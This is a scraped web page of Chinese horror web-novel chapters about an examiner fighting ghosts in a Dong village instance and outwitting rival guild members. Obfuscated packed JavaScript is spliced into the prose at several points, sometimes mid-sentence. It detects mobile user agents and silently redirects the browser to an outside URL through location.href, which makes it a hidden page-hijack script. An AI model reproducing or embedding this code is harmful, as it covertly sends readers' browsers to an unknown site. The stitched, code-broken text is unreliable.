d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061344|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她在接下来的时间内,不必那么操心因耗尽生命剩余值而丧命的问题。 没有即将耗尽的生命剩余值在后面逼着,齐檎丹居然感到了一点微妙的不适应。 她关掉弹窗,抬头环顾。 只见,展现在眼前的景象已大不相同。 白天颠倒为黑夜。古老高大的鼓楼,浸泡在昏昏沉沉的黑暗当中,宛如蛰伏爪牙的巨兽。 这里没有待嫁的女子,更没有忙忙碌碌准备婚礼的鬼魂…… 一切,死寂得令人心颤。 眼前的场景,跟齐檎丹前两次进入幻境时见到的,居然都不一样。 齐檎丹猛然翻身坐起,心弦铮然一绷。她转头一眼瞧见了身边的梁安颜,但除了梁安颜之外,其他人却无踪无影。他们都去哪儿了?顾斩风呢?龙骁呢?还有那群跟踪她的人呢? 齐檎丹打开系统背包,确认了相机还在,提到嗓子眼的一口气才好不容易散开。 “你看到顾斩风和龙骁了吗?”她问梁安颜。 怎料,梁安颜和她一样茫然。 “可能是我们在进幻境的时候,被冲散了。”梁安颜摇摇头,表示也不知情。 她和其余二人是同一个固定队伍的,有一个群聊可以在副本里联络,然而她发出去的消息却如泥牛入海,迟迟没收到回应:“唉,他们在群里没回复我。我们要不然进鼓楼里找找?” 这样等下去确实不是办法,齐檎丹表示同意。 幻境里这个侗寨的格局构造,和他们原先所处的那个别无二致,鼓楼也是大同小异。只是,这里天色黑得厉害,鼓楼里又没有灯烛或篝火,她们只有打开手机的手电筒功能,才能勉强照亮前方。 “龙骁,顾斩风,你们在哪儿啊?”梁安颜焦急地蹙着眉,沿着鼓楼内的台阶拾级而上,一层层往上搜寻。 楼上似乎许久不曾有人造访,遍地铺满尘埃。手电筒晃动的光柱下,阴影与杂物堆积纵横,被光影涂抹成可疑的色块。 越往楼上走,梁安颜心里越是打鼓。 鼓楼本该是一个寨子最重要的集会场所。而这座鼓楼,并不像经常有人收拾清扫的模样。 倒像是废弃已久。 “呜呜——” 风声低低长啸着,从身后掠过。 发丝随风飘起的那一刻,不详的凉意,霎时间在梁安颜后脖颈炸开。梁安颜攥紧手机,蓦地回头。 手机前端射出的光柱,顷刻间调转方向—— 将一颗被啃烂的头颅,照得惨白。 就在离梁安颜不到半米的地方,那颗头颅血肉模糊地从横梁上倒挂下来。由于距离近在咫尺,梁安颜甚至能够看清,那一条条下垂的经络血管,以及皮肉被咬尽后露出的苍白头骨…… 梁安颜本能地一缩,刚要退却,却发现人头挂在眼眶外的那两颗眼球,颤颤巍巍地,朝她的方向转了半圈。 缩小如针尖的瞳孔,死死盯住了她。 像盯住待宰的牲.畜。 她被看到了! 顿时,寒意直冲梁安颜天灵盖。 【触发隐藏任务:鼓楼逃杀】 【没被完整剥皮的侗族居民被吃后,化为厉鬼后,四处在寻找活人的血肉补足身上缺失的部分。为了您的人身安全,请拼尽全力,逃出生天吧。】 梁安颜知道,自己本该不顾一切地竭力奔逃,然而越想要逃离,她全身却越犹如被冻结一般,动弹不得。 眼前这厉鬼,竟能让与之对视的人,失去行动能力。 梁安颜猝然一惊。 就在这时,她的手腕被齐檎丹猛然扣住,而后用力一拉。 梁安颜的视线被拽得偏转,打破了与厉鬼对视、无法行动的状况。手上传来的体温,更让梁安颜心神瞬间回笼。 齐檎丹抽出长刀,一刀向阻挡在前方的头颅劈去。 她压低声音,目光凌厉:“快走!” 57. 啼血侗歌10 雪亮的刀光破开夜色,直逼面门而去。 见状,那颗血肉淋漓的脑袋立刻往上一缩,避开了刀锋。 那颗人头的动作,比齐檎丹预料中的还快。但即便如此,齐檎丹的迎面一击,还是成功让这鬼怪的动作延缓了一拍。 生死攸关之际,哪怕只有一秒,也足够逃命。 跑!快跑! 感知危险的本能在尖叫。 齐檎丹不再恋战。她毫不犹豫地抽身,抓住这一秒的时机加快步伐,和梁安颜一起往台阶下跑去。 鼓楼里的楼梯长期遭风化虫蛀,格外老旧,衔接处已然蔓延开裂纹。她们急促的脚步刚一落上去,木板便不堪重负一般,发出声嘶力竭的“吱呀”声响,听得人胆战心惊。 意识到被耍,梁上鬼怪仰起头颅,被扯断的喉咙中发出不甘的嘶吼: “把我的血肉还给我!还给我!” 那只鬼紧随其后,疯狂地追了上来。 身后传来的脚步声极密极快,宛如鼓点,密集地重击在心脏。它的速度,几乎是正常人的两倍。 狰狞的黑影迅速向她们逼近,方才齐檎丹利用那争取到的一秒时间,好不容易才拉开的距离优势,在这样恐怖的速度下很快变得微不足道。她逐渐感到力不从心。 借着楼梯的转角,齐檎丹瞟见了那头颅怪物的全貌。 那是一只鬼。 一只皮被剥了一半的鬼。 那只鬼的上半身被啃咬得稀烂,连骨骼上都残留着牙印,自腰部以下的皮肤却全部被剥离。 那剥皮的手段极其生涩。不仅剥出来的皮肤组织四分五裂,有不少乱七八糟地拖曳在脚底。绝大部分人皮的内侧,还粘黏着细碎的肉糜,血肉分离之处存在明显的生活反应。 吃他们的怪物竟然是一边食人,一边在这些人身上,练习如何活剥人皮的。 手段极度残忍。 齐檎丹禁不住打了个冷噤。 但眼下的危机,由不得她同情别人。那被剥去半身人皮的厉鬼,速度异常飞快,再这样下去,她们迟早会被追上。 齐檎丹眸中光色变幻。再一次迈步向前后,她突然回过身去,对着身后的楼梯狠狠来了一刀。 这刀刃虽利,却只在两级台阶连接处,劈开一道细窄的缝隙。 压根拦不住厉鬼分毫。 可齐檎丹持刀劈砍的动作,依旧耽误了逃跑的时间。她和恶鬼之间的距离,一下子缩短了极可怕的一大截。 偏偏在这十万火急的节骨眼上,齐檎丹还放慢了步伐。 没走两步,她便停下脚步。 在原地站住。 简直像在自投罗网。 这是在做什么?!这么轻易就要放弃吗? 得亏齐檎丹提前把直播弹幕关了,要不然,直播间里躁动困惑的观众,非得把天给掀了不可。 “这放弃得也太早了吧。” “不要啊,我好不容易才遇上个喜欢的考察员,快努力挣扎一下啊。” “营销时那么自作聪明,没想到实际上那么蠢。无语了。” 梁安颜同样不解。她顿住逃生的脚步,蓦然回头:“齐檎丹,你怎么……” 恶鬼已经狂喜着逼近。 它不费吹灰之力,就越过了齐檎丹砍出的那道裂缝,白骨嶙峋的手掌撑开五指,骤地向齐檎丹抓来。 转瞬间,恶鬼散发的酸腐腥气,已至面前。齐檎丹再次举刀,奋力砍向前方。 刀风凌厉,寒光凛冽。 最锋利的刀刃,却甚至没擦着恶鬼的边。 只落在地面上。 落在她与恶鬼之间。 “6,又一个鬼体描边大师。” “这样都能砍错地方?明明那么近。” “笑了,准头那么差的吗?还敢剪视频营销,被鬼啃两口就老实了。” 弹幕上,看不惯齐檎丹的那部分观众陷入狂欢。 他们忍着反感,盯了齐檎丹的直播那么久,就是为了找齐檎丹的错处。如今,好不容易蹲到了齐檎丹掉链子的一幕,他们便仿佛提前预知了结局,不遗余力地起哄嘲笑。 殊不知,齐檎丹瞄准的正是楼梯。 她手起刀落,一刀下去。位于两道刀痕中间的那一段楼梯,顿时失去了与前后的连接,不得不听从地心引力的召唤,喜提自由落体。 弹幕上的哄笑声停止了。但直播间里,没有观众有空关心他们碎裂一地的自尊心—— 因为楼梯坠下,意味着被齐檎丹以身为饵,吸引到那段楼梯上面的恶鬼,一下子失去了立足之地。 恶鬼快被吃空的大脑,终于反应过来。 这是一个圈套! 双脚腾空的瞬间,恶鬼拼命扑腾着四肢,最后,还真让它在挣扎中抓住了台阶的一角。恶鬼惊慌失措地晃动着身子,蹬踢着双腿,手臂弯曲用力,想借那一角支撑点爬上来。 然而,恶鬼怕不是忘了,上面还有齐檎丹这个女罗刹。 杀与被杀的地位,陡然倒转。 齐檎丹从阶梯上探出头,看向仓惶狼狈的恶鬼。 她一手持刀,一手抓握着相机,相机遮挡后的嘴角笑盈盈地弯着。虽是笑,却不深及眼底,教人看了不寒而栗:“再见。” 齐檎丹微笑着举刀,把恶鬼当救命稻草一样攥紧的台阶边角,一刀砍断。 “唰——” 刀光过后,边角连同恶鬼一并坠落。 在恶鬼那张被啃烂腐坏的脸上,她看见了夸张的惊恐。这样的惊恐,本不该出现在猎杀人类的鬼物脸上。 “再也不见。” 齐檎丹按下快门。 恶鬼从高处摔下时那一刻的狰狞,被高速镜头捕捉并成功定格。恶鬼本身,却在悲惨的惨叫声中,直直摔下塔楼。 骨架摔散,骨骼粉碎,拼都拼不回去。 搞定! 【隐藏任务已完成,积分+50】 齐檎丹把长刀收回背包。 她腾出手捧起相机,拿镜头清洁布,把相机镜头上可能沾到灰尘的地方,全都擦了一遍。灰尘进入镜头会很影响拍摄效果,她可不舍得让这心爱的相机蒙尘。 她擦拭的动作轻柔细致,显然比对这次的成功更上心。 直播间里,却有的是替她开心的人。 “好帅!” “不愧是齐姐!” “没想到她之前砍的那一刀,居然是这个作用。在那里站着,也是在引那只鬼过来,我差点误会她了……” 与此同时,齐檎丹拍摄得到的新照片道具也已到账。 【恭喜获得S级照片“跌落鼓楼”,已为您收入系统背包。】 擦完相机后,齐檎丹谨慎地多待了两分钟,直到没再听到下方发出的声响,齐檎丹紧绷的神经才终于舒展。 现在恶鬼不会来纠缠了,齐檎丹眼睛也能没问题了,她终于能够趁此机会,看看之前在幻境里拍摄得到的那两张照片道具,究竟是什么模样了。齐檎丹好奇地进行查看。 两张照片效果都只是平平无奇,没有给齐檎丹带来惊喜。系统背包里照片道具的数量,却让她忍不住瞳孔地震。 她的照片道具,居然已经攒这么多了? 齐檎丹越数越觉得震惊。 刚拍的那一张叫“跌落鼓楼”,幻境里拍的那两张分别叫“出嫁前夕”和“鬼骨人皮”,再加上喝拦门酒那会儿拍的“侗家姑娘”、“拦门酒”,以及算上她从上个副本里,带进来的SS级照片道具“故乡的回眸”。 把这些全部加在一起,系统背包里足足有6张照片道具。火力可谓极其充足。 齐檎丹还从没打过这么富裕的仗! 齐檎丹一拍脑门,后悔不已。早知道,她刚才就应该直接用照片道具,而不是苦哈哈地扛着大刀砍楼梯。 但凡随便扔出一两张照片道具,便能把那只恶鬼治得服服帖帖的。 哪里用得着拿生命冒险。 见她在翻看照片,梁安颜过来问道:“你拍的那些照片,能给我看一眼吗?我想再看看,这些鬼魂身上的牙印。” 在幻境里那个鬼的脖子上,他们就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过要让这些人放下戒备可不容易,副本里这个侗寨的排外程度,或许不容小觑。否则,系统不至于给他们一行人,都加了个当地侗族的身份,只为了减轻被排斥的影响。 这鬼怪要隐藏多久,才能获得寨中村民的认同? 十年?二十年?又或者更久? 齐檎丹刚开始思索,提示弹窗就打断了她的思绪。 【解锁新剧情5%,奖励积分+50】 【当前剧情解锁进度:15%】 剧情解锁度又涨了。这说明,齐檎丹猜测的大方向没错,那怪物确实身在寨中。 所有寨中的人,他们都得小心了。 梁安颜下意识想要把这个发现,告诉龙骁和顾斩风,却反应过来到他们现在不在身边。 “顾斩风和龙骁估计不在鼓楼里,否则我们刚才看到的,就应该是这怪物的尸体了。”梁安颜道:“那两人的专属技能都是攻击型的,特别是龙骁,不让他跟鬼怪打架,他能把自己憋出病来。” 提起龙骁,梁安颜叹着气吐槽。语气里,却听不出嫌弃的意味。 她看了眼群聊,群里还是没人回复。 冷冷清清。 “算了,我先把这线索编辑成消息发给他们吧,到时候他们回了,再问问看他们在哪儿。”梁安颜一边编辑消息,一边往鼓楼下走。 不成想,要发在群上的消息还没编辑完,梁安颜先看到了一大片密密麻麻的火把。 熊熊火光,映亮了那群人的脸。 这群“人”也是鬼。 和齐檎丹最早拍到的那只鬼一样,他们全是包着人皮的骨头架子。虽然比拿来试验剥皮的失败品意识更清醒一些,看起来观感也稍微好些,从头到脚,却依旧是半点血肉也无。 梁安颜登时屏住呼吸,拉着齐檎丹就地蹲下,试图躲开这大几十只鬼的视线。 然而天不遂人愿,她们还没找好藏身地方,那为首的鬼却一抬手臂,黑沉着脸,向她们所处的鼓楼指来: “我看到了,人在那里。快过去把人捉住!快!” 梁安颜眼前一黑。 这算是杀了一个,惹来一群? 救命,这还让不让人活了?! 58. 啼血侗歌11 为首的鬼怪话音刚落,猩红的火光立刻朝她们蔓延。夜色里,数十个高举火把的鬼怪一窝蜂地涌来,目的明确,一脸择人而噬的凶相。 要是等这些鬼包围了鼓楼,她们就真的无路可逃了。 绝不能落到那个地步! 梁安颜赶忙看向身边的齐檎丹,却见齐檎丹一脸欣赏地举起相机,俨然犯了职业病:“好多鬼,好壮观,你等我先拍一张……” “拍什么拍,快走啊!”梁安颜一把拽过她的手,就往外头跑。 她们所在的这座鼓楼,一层没有墙,只围了矮矮的一圈护栏,周围用几根柱子作为支撑。由于鼓楼的大门,已经在那群鬼物的视线范围内了,她们俩唯一的选择,只能是翻过护栏从侧面逃。 但鼓楼没有墙体的坏处是,她们逃脱的方向和动作,全被外面的鬼看得一清二楚。 “人跑了?给我追!”领头的鬼怪厉声命令。 一场轰轰烈烈的追捕,宣告开始。 这群鬼体重轻,跑得快。 一个个难缠得很。 就连梁安颜用技能“天女散花”变出的大量钱币,也无法转移走追兵的注意——这些鬼居然不贪财,不图钱,一心只图她们的命啊。 被鼓楼里的鬼追完,又被鼓楼外的鬼追赶,梁安颜所剩不多的体力岌岌可危:“怎么办,难道我们这样一直逃下去吗?” 但她们的速度不如鬼怪,体力不如鬼怪,对寨子的熟悉程度也拍马不及,各方各面都处在劣势。 这样下去,可怎么办是好? “我还有六张照片道具。”齐檎丹盘算着,“除了那张SS级的照片道具,还可能有一敌之力,其余五张道具就算全使出来,也杀不完这么多鬼。” 梁安颜仿佛抓住了希望:“那还等什么?赶快用那张SS级的啊。” “你以为我不想吗?”齐檎丹叹气。 以“故乡的回眸”这张照片道具的攻击范围,造成的坍塌,能一次性把整个寨子全埋了。那可是妥妥的无差别攻击。 到时候别说帮女子退婚了,就算帮她收尸,都不一定能赶上热乎的。 万一不小心,还能把她们俩一起埋了。 杀敌一千,自损八百。 “那怎么办,我快跑不动了……”梁安颜欲哭无泪。 梁大小姐现在突然特别后悔,为什么她之前一门心思全扑在公司的经营管理和服装设计上,却忘了注意加强体能锻炼,导致现在没跑多远,双腿就开始乏力酸软。 幸好齐檎丹赶在她彻底耗尽体力之前,眼尖地瞄到旁边一条弯弯曲曲的巷落:“走这里。” 巷落狭窄蜿蜒,分岔多。 齐檎丹带着梁安颜连拐了两个弯,终于甩开了追在身后的群鬼。 当梁安颜脊背紧贴着墙,躲在黑暗的巷子里,看见群鬼举着火把从身边接连跑过之后,她身上那件昂贵的高档连衣裙,已然被汗水浸湿:“好险,差点就成这群鬼的盘中餐了……” 嘴边的话话还没说完,梁安颜的声音却陡然中断。 她瞥见巷外朦胧的火光。 而这,恰恰昭示着群鬼并未走远。 或许是意识到跟丢了目标,这群鬼怪的脚步变得迟疑。它们窸窸窣窣地交头接耳。 “怎么回事?我们跟丢了石沛妮?” “她可是跟那小子订了婚的,要是让她把婚退成,咱们哥几个的脸面往哪儿搁?” “放心吧,不会出问题的。石沛妮要是想退成婚,还得回来还茶叶。到时候逮住了她,她立刻就得成婚……” 梁安颜侧耳倾听鬼怪之间的交谈,忽地恍然大悟。她压低嗓音,回过头对齐檎丹道:“所以说这群鬼追的,其实不是我们?” 她这一回头,还没瞥见齐檎丹,就被余光瞄到的人影给吓了一跳。 巷子里,竟多了一个人。 齐檎丹也扭过头:“你是那个……石沛妮?” “嘘!”女子急忙竖起手指放在唇边,眼眸里流露出恳求。她的容颜样貌,居然和齐檎丹前两次进幻境所见的,一模一样。 需要考察员帮忙退婚的女子,找到了。 等聚在外面抓人的鬼散开后,女子才终于敢开口:“我的确是他们在抓的石沛妮。我是来退婚的,但是……没有成功。刚才,谢谢你们帮我遮掩。” 齐檎丹敏锐地捕捉到关键词:“退婚?只需要把你手上的茶叶还回去,就能退婚了?” 还茶叶而已,帮起来好像不难。 “要是真有这么容易,我就不至于到现在还没退婚了。”石沛妮愁眉不展,“要想退婚,我不仅要把茶叶放进舅舅家堂屋的桌子上,还要亲自找到我舅舅、舅妈,对他们说‘我没有福分来服侍你们老人家,您们去另找一个好媳妇吧’……” 把这一整句话全说完以后,她要是还能够平安无事地逃出去,那才能算退婚成功。 一旦被抓住,舅家就有权提前婚期。 立马逼她结婚。 “唉,但是从舅家逃出去,哪儿有那么容易?”石沛妮万般无奈,只能托着没送出去的茶叶包,“别说堂屋那边被严防死守了,单是说完那句话,都能把舅舅、舅妈全惊动了。” 舅舅、舅妈一家,加上受他们叮嘱的左邻右舍一群人,全数出动,对石沛妮围追堵截。 她这次能逃出来,已是万幸。 梁安颜听说过这种退婚方式,这是侗族的退婚方式之一,也叫退茶,十分考验女子的智慧和能力。 至今,副本开局时离奇消失的三样东西,已经找回了其中两样。生命剩余值回归,需要退婚的女子也已被找到,就只剩下他们需要考察的主要任务没着落了。 这个主要任务,才是重头戏。 按照他们最初的猜测,主要任务应该会在帮助女子退婚的时候出现。齐檎丹试探着问:“那你有想过找人帮你吗?” “哪里没想过。”石沛妮苦笑了一声,神采转瞬黯淡下来,“我们寨里的传统就是女归舅家,寨里都是守传统的人,多少人就这样捏着鼻子嫁了……就算我退婚成功,回去还得挨爸妈一顿打骂呢。就这个状况,谁可能会帮我?” “我们可以帮你。多个人,至少能多份力量。”梁安颜主动说道。 石沛妮听了她的话,眼里立刻见了光色: “那太好了!我马上带你们回我家,我们好好商量一下怎么退婚。” 石沛妮刚迈开步伐,要带着她们往家的方向走,她从巷子里探出的头,却被齐檎丹摁了回去。 “等等,那边有人。”齐檎丹猝然开口。 敌我不明,小心为上。 齐檎丹比了个噤声的手势,拉着身边的两人悄然缩回巷道里,光明正大地听起了墙角。 . 那几个人虽然穿着侗族服饰,模样却和这幻境里遍地都是的鬼大不相同,显然是活生生的人。 考虑到当时借助歌声进到幻境当中的,只有两拨人。除了她们和顾斩风、龙骁,就只有那几个跟踪她的人了。 所以,齐檎丹很快锁定了他们的身份。 “那个齐檎丹躲哪里去了?她明明刚才是从这里跑过去的,怎么就跟丢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073762|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?”那三个人在周围搜寻了一圈,却没找见齐檎丹的人影,眉头急得都快拧成麻花。 殊不知,齐檎丹正藏在暗处的巷子里,观察着他们的动向。 像之前的他们一样。 这三个人都是染发烫发的骨灰粉,根据头发颜色极好辨认。他们的头发,分别被染成了红、绿、蓝三种颜色。三个碰一起,刚好凑成光学里的三原色。 齐檎丹刚给他们起好代称,那三原色兄弟便原地讨论了起来。 “你说……咱们真要对齐檎丹,用那个东西吗?”绿头发的那个人身材最是干瘦,胆子也小一点,说话时吞吞吐吐。 “为什么不用?”红头发的那个人抬起下巴,神色嚣张贪婪,“会长可是说了,只要我们能搞定那个齐檎丹,我们西金公会道具库里所有的道具,我们都可以随便挑。” 西金?吸金。这个意图过于明显的谐音,让齐檎丹忍不住腹诽。 这公会怕不是想钱想疯了。 好像确实是。 因为在顾斩风给的文档里,齐檎丹看过西金公会的介绍。西金公会最大的特点,就是为了利益不择手段。 为了从每个副本中,尽可能多地榨取积分和道具,西金公会是中型公会里唯一一个,会硬性要求会员必须不惜性命代价,也要等拿到100%剧情解锁度,才能够通关的公会。 由于这条变态的规定,西金公会的会员死亡率一直高得离谱。同时,这样的疯狂,也让西金公会吸引来了一大帮要钱不要命的狂徒。 三原色兄弟俨然在狂徒之中。 但绿色头发那个老弟,因为不够狂,与另外两个人格格不入。 “虽然但是……只要能让齐檎丹入公会就好了,我们没必要做得那么绝吧?”绿头发一紧张起来就口吃,他慌里慌张地比比划划,“等齐檎丹回过神来,我们就……” “懦夫!”红头发怒瞪着两只眼睛,猛地扭头。 一嗓子,吼得绿头发瞬间消音。 “你两个眼睛顶头上是摆设吗?”红头发指着他鼻头打骂,“看看齐檎丹身边那群人,又是梁安颜,又是顾斩风,他们一个个那可都是王座公会的核心骨干。齐檎丹的心肯定已经朝王座公会偏了,我们要是不使点手段,怎么可能跟王座公会抢人?” 他们公会道具库里,那些千金难买的道具,红头发已经眼馋老久了。只要能将那些道具给拿到手,就算牺牲一个齐檎丹,又有什么打紧? 明的不行,他们就来阴的。 这个观点获得了蓝头发的赞同,他眼底闪过一抹阴狠:“要么不做,要么就做到最绝最狠。” . 三原色兄弟总归还是谨慎的,每次一聊到那个准备阴齐檎丹的方法,音量都会马上降低。 因此,齐檎丹没能成功听到,他们葫芦里面卖的是什么药。 但那绝对不是什么好药。 考察系统不允许考察员彼此残杀,却没有限制有控制行为和心神等能力的道具使用。齐檎丹猜测,这三原色兄弟所说的方法,或许与之有关。 啧,想搞她?她可不会坐以待毙。 齐檎丹嘴角抽搐了两下。 她想起系统背包里,还有一颗从上个副本里得来的创世宝珠。创世宝珠创造空间的能力,她还没使用过。不知道好不好用。 齐檎丹将创世宝珠道具从包里取出,并用黑布严严实实地将其蒙住,以便遮挡珠光。 与此同时,她眼中闪过一丝狡黠。 这三原色兄弟自己送上门来,要是不给她当个练手对象,可不就浪费了吗? 59. 啼血侗歌12 三原色兄弟浑然不知他们的险恶用心已经暴露,还聚在一起暗中密谋:“等找到齐檎丹之后,我们先这样……再这样……” 绿头发越听越战战兢兢,目光止不住开始四处乱飘。 忽然,他大叫一声:“齐檎丹!” “一惊一乍的做什么?”人高马大的红头发一掌拍在了他头上,语气鄙夷,“我早说了,懦夫根本不配进我们公会。” 绿头发好不容易才挣脱他手掌的桎梏,伸手往不远处的一栋楼指去:“不是……你们快抬头,齐檎丹就在那栋吊脚楼里。” 另外两人应声看去。 果然,从吊脚楼的窗口,瞥见了个一掠而过的身影。 虽然那扇窗户很快被关上了,但凭借着进副本之前,西金公会提供给他们的齐檎丹信息,他们还是一眼辨认出—— 此人正是齐檎丹。 “好啊,怪不得我们老找不着她,原来她躲到别人家去了啊。”红头发不安好心地笑了起来。 立功换公会道具的机会就在眼前,他一刻都不愿意等,直接就迈开脚步,带着同组的蓝头发和不情不愿的绿头发,往那吊脚楼的方向走。 他们注意力是如此聚焦在齐檎丹身上,步伐匆匆,大步流星,以至于他们没有注意到,当他们奔吊脚楼而去时,脚下突然出现了一道不易察觉的波动。 那波动好似水面涟漪,扩散后一闪即逝。 倏忽遁进黑沉的夜色当中。 . 要是三原色兄弟有心朝巷子里看一眼,估计会被惊掉下巴。 因为本该在吊脚楼里的齐檎丹,事实上,依然在巷子里有一下没一下地抛接着宝珠玩。 闪现在吊脚楼里的她,不过是一个用创世宝珠制造出的诱饵。 有点经验的人估计能看得出,出现在三原色兄弟脚下的那道波动,正是空间与现实衔接得不够娴熟时,会露出的破绽。 在宝珠创造出的空间里,齐檎丹复刻了三原色兄弟身边的场景,故意混淆了空间与现实的界线。 叫人分不清空间和现实。 而虚拟空间里,齐檎丹“所在”的那栋吊脚楼,正是石沛妮退婚还茶叶时,需要进的舅家,被她“关上”的那扇窗,正是舅家堂屋的窗。 “奇怪,他们怎么突然走起来,往我舅舅家去了啊?”石沛妮看得奇怪。 齐檎丹但笑不语。 视线里,那三原色兄弟已经来到了石沛妮的舅舅家门前。他们绕开了引人注目的大门,正蹑手蹑脚地摸黑往堂屋的窗子下走。 为了神不知鬼不觉地潜入屋舍,对齐檎丹下手,他们来之前备足了道具。 夜色里,只听得轻微的“嗖”一声。 铁钩爪往上射出,牢牢抓住了堂屋的窗棂。 这铁钩爪是系统商店出品的道具,极其结实牢固,而且使用过后,会自动抹去留下的痕迹,堪称居家旅行杀人越货必备之佳品。 红头发用力拉了拉铁钩爪下面连的绳索,确认了稳固度足够可靠。 “你,上去。” 红头发颐指气使地扬起下巴,朝着立场最不坚定的绿头发点了点。 让绿头发打头阵,并不是出于信任。恰恰相反,他非常看不起胆小怯懦的绿头发。最危险的打头阵让绿头发第一个上,要是出了什么事,他也好趁机甩掉绿头发这个包袱。 红头发都想好了,要是绿头发拥抱是一条小命,就说明上面的危险没那么大。 他会第二个上去。 以他红头发的身手,拉着铁钩爪下的绳索,钻进窗子里轻而易举。这样,趁着齐檎丹毫无预料的时候,他就能…… 红头发正沉浸在自己完成任务的美好幻想里,余光突然瞥见,绿头发爬绳索的动作好像有一会儿没动过了。 这懦夫,又在偷懒! 红头发的火气“蹭”地窜了起来,他使劲摇了摇绳子,威胁性地压低了嗓音:“喂,爬快点,我们可都在等你。” 在他的威逼之下,绿头发终于磨磨蹭蹭地爬到了半截。 但他的胳膊和腿却抖了起来。 哆哆嗦嗦,像是筛糠。抖得都快抓不住绳子。 绿头发爬的位置越高,看得就越远,越清楚。他看到,越来越多面目可怖的鬼怪,正从墙角、门户等地方钻出。这些鬼明显早有埋伏,提前在吊脚楼周围守株待兔,此刻,正以包围圈的形式向他们悄然逼近。 他下方的两个队友,已经在无知无觉的时候,被鬼怪团团包围。 而他,更是被吊在半空。 上不去也下不来。 “我……我们……”绿头发竭力张大了嘴,想要提醒队友下方的异常。然而,恐惧却紧紧扼住了他的咽喉,让他一个字也说不出。 绿头发只能绝望地看着,包围圈越收越紧。 埋伏的鬼怪蜂拥而至。 顷刻间,在铁钩爪底下等他的一红一蓝两个队友,便被淹没在一片乌压压的鬼怪当中…… 不远处,小巷里。 齐檎丹的相机镜头,正对准石沛妮舅舅家的吊脚楼。 三原色兄弟害人不成,反遭埋伏的倒霉经历,被镜头无比忠实地记录下来,反映在齐檎丹拿相机拍摄的视频里。 西金公会能派这几个人来,还是有理由的。最先被鬼怪袭击的红头发和蓝头发,只惊慌失色了一秒,就毅然出手砸了一个道具。顿时,烟雾迅速弥散,两人趁机使出了他们专属技能,杀出重围,艰难逃脱。 转眼间,只剩下悬在半空,无路可逃的绿头发。 好在齐檎丹本就不指望,这些鬼怪能困住那三人多久。如今就算绊住的只有一个绿头发,也在她意料之中。 齐檎丹打开直播弹幕。 弹幕区见多识广的观众,已将他们的身份和技能一一解码。 “居然是稀有级道具‘障眼迷雾’。这道具能让鬼怪暂时看不见人,价格却贵得不得了。” “我认出这两人是谁了。红头发代号‘红鬼’,蓝头发代号‘蓝鹰’。要是我没记错,这两个人,都是西金公会培养出来的顶级战力吧?” “出道具,派高手,西金公会这回可是下血本了……” 齐檎丹看了,不禁冷笑。 西金公会对她这个新人还真是上心,道具跟不要钱似的地招呼。 而且连两个打手都派过来,意图显然不只是违背她意愿,逼迫她加入西金公会那么简单,这是打算此计不成,就恼羞成怒,把她这个人给解决掉啊。 齐檎丹指腹轻轻敲着相机冰冷的外壳,茶色的瞳孔里,暗流汹涌。 西金公会行事虽疯,却也给她提了个醒。 西金公会恐怕不是个例。 这个副本过后她就能选择公会加入了,还不知道有多少公会,抱着与西金公会同样的想法。 齐檎丹禁不住转头,看向身边的梁安颜。 梁安颜他们身为王座公会的成员,即便不愿,也终究是要为他们的公会服务的。 这个副本里,他们虽然达成了合作,但这是建立在齐檎丹还没作出选择的基础上,王座公会对她还有拉拢之意。但过了这个副本后,一切或将反转。 梁安颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……很遗憾,我们今晚恐怕没有办法,陪你闯你舅舅的堂屋去退婚了。”齐檎丹随口胡诌了个理由,“你也看到了,他们人多势众,连那三个大男人都被吓得抱头鼠窜,我们是拿他们没办法的。” “啊,那怎么办?难道真的没有退婚的办法了吗?”石沛妮抿起嘴唇,神情担忧。 她眼里,甚至隐隐有泪光闪动。 虽然是和第一次在幻境里所见一样的泪眼,齐檎丹却莫名感到了一丝异样。 但齐檎丹并未大意到,将这份怀疑外露表现。她依旧软下语调,假装安慰石沛妮:“放心,今天不行,不代表明天也不行啊。你要相信我们,能帮的地方,我们会尽量帮的。你之前不是说,要带我们回去商议对策吗?你要是心急,我们不如现在就去。” 去石沛妮家,才是齐檎丹的目的。 一个人的家,特别是她自己的房间,是最能够真实反映出一个人性格的地方。 俗话说得好,江山易改,本性难移。既然真假石沛妮在外貌上没有明显差别,她们就只能从更深一层的性格上面,多下功夫辨认。 “齐檎丹,我们进来已经快十五分钟了……”梁安颜不安。 要是去石沛妮家,一定会超时的。 按照之前发现的规律,进幻境超过十五分钟后,考察员的生命安全便会遭遇极大的威胁。她们不得不引起重视。 可齐檎丹没有接茬。 “我们早点去你家商议,你就早一点能退婚。”齐檎丹看向石沛妮,分毫没有改变说法: “所以,带路吧。” 60. 啼血侗歌13 在通关时放弃求稳,故意去危险的地方冒险,在这个作死基本等同于真死的副本世界,绝对是愚不可及的行为。 